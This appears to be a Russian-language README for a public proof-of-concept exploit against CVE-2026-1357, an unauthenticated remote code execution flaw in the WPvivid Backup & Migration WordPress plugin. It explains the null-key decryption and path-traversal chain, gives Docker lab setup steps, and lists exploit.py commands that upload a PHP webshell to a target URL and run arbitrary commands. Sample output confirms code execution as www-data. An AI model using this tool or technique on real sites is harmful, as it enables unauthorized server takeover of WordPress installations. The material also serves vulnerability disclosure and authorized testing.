
CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Неаутентифицированный RCE-эксплойт
| Поле | Значение |
|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (критический) |
| Плагин | WPvivid Backup & Migration |
| Затронуто | ≤ 0.9.123 |
| Исправлено | 0.9.124 |
| Обнаружил | Lucas Montes (NiRoX) |
| PoC от | halilkirazkaya |
Плагин WPvivid Backup & Migration (≤ 0.9.123) содержит критическую уязвимость, которая позволяет неаутентифицированному злоумышленнику загружать произвольные PHP-файлы на сервер, что приводит к удаленному выполнению кода (RCE).
Цепочка эксплойта объединяет две ошибки:
Плагин обрабатывает удаленные резервные копии через хук wpvivid_action=send_to_site. При расшифровке сессионного ключа openssl_private_decrypt() возвращает false для некорректного RSA-ключа. Плагин не проверяет это возвращаемое значение и передает false в Crypt_Rijndael из phpseclib v1, который интерпретирует его как 16-байтовый нулевой ключ (\x00 × 16) с режимом CBC и нулевым IV.
Параметр name в расшифрованных JSON-данных не санируется. Злоумышленник может использовать последовательности ../, чтобы записать PHP-файл за пределы ограниченного каталога резервных копий в общедоступный каталог wp-content/uploads/.
Токен wpvivid_api_token должен быть сгенерирован в настройках плагина, и срок его действия не должен истечь.
Скачайте и распакуйте WPvivid Backup & Migration v0.9.123 (уязвимая версия):
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
Будет создан каталог wpvivid-backuprestore/, который монтируется в Docker-контейнер через docker-compose.yml.
docker compose up -d
http://localhost и завершите установку WordPress.pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Используйте ответственно.